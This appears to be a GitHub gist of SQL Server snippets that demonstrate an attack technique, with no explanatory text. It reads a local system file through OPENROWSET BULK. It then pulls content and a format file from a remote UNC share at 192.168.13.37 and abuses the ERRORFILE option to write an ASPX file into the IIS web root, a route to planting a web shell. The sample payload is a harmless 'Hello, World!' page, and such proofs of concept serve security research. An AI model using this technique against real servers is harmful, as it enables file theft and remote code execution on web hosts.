Skip to content

Instantly share code, notes, and snippets.

@mwulftange
Last active December 5, 2018 06:53
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mwulftange/c26d58bf52639b6969cc to your computer and use it in GitHub Desktop.
Save mwulftange/c26d58bf52639b6969cc to your computer and use it in GitHub Desktop.
SELECT HAS_PERMS_BY_NAME(null, null, 'ADMINISTER BULK OPERATIONS')
9.0
1
1 SQLCHAR 0 1 ">" 1 BulkColumn ""
<%="Hello, World!"%>
<?xml version="1.0"?>
<BCPFORMAT xmlns="http://schemas.microsoft.com/sqlserver/2004/bulkload/format" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<RECORD>
<FIELD ID="1" xsi:type="CharFixed" LENGTH="1234567890"/>
</RECORD>
<ROW>
<COLUMN SOURCE="1" NAME="BulkColumn" xsi:type="SQLVARYBIN" LENGTH="1234567890"/>
</ROW>
</BCPFORMAT>
SELECT BulkColumn
FROM OPENROWSET(
BULK 'C:\Windows\win.ini',
SINGLE_CLOB
) t
SELECT BulkColumn
FROM OPENROWSET(
BULK '\\192.168.13.37\share\input.txt',
FORMATFILE='\\192.168.13.37\share\input.fmt',
CODEPAGE='RAW',
ERRORFILE='C:\Inetpub\wwwroot\hello.aspx'
) t
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment